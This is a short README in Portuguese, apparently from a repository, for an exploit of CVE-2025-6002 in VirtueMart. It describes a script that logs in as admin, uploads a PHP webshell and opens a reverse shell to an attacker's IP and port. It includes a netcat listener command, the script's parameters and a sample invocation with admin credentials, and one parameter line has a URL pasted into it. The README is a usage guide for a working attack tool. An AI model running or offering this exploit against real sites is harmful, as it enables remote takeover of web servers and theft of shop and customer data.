Exploit para CVE-2025-6002

Este script explora a vulnerabilidade de upload arbitrário de arquivos autenticado no VirtueMart < 4.4.10 (CVE-2025-6002), descrita neste post do blog: https://blog.blacklanternsecurity.com/p/doomla-zero-days

Este script faz login no VirtueMart com as credenciais fornecidas, cria um novo produto e envia um webshell PHP como um arquivo de mídia. Em seguida, invoca um reverse shell para o IP/porta fornecidos.

Parâmetros:

• --url: A URL do VirtueMart
• --username: nome de usuário admin
• --password: senha admin
• --remote-ip: attacker ip addresshttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: porta do atacante

Uso:

1. Execute o Netcat na máquina do atacante:

nc -nlvp 1337

2. Execute o exploit

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337